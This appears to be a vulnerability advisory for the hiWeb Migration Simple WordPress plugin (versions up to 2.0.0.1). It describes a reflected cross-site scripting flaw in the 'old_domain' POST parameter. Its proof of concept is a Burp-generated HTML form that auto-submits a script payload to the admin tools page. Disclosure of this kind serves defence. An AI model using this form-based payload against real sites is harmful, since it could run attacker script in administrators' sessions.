hiWeb Migration Simple <= 2.0.0.1 Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high-privilege users such as admins.

The hiweb-migration-simple plugin is vulnerable to POST based XSS on endpoint http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple via POST parameter `old_domain`. This happens because of improper handling of user supplied input that is reflected on the page.

Proof of Concept

1. Login as Admin.
2. Open the .html file in the same browser session.
```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.28.128.6/wordpress/wp-admin/tools.php?page=hw_migration_simple" method="POST">
      <input type="hidden" name="old_domain" value="<script>alert(document.domain)</script>" />
      <input type="hidden" name="new_domain" value="http://qwer.com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```
3. XSS will be triggered.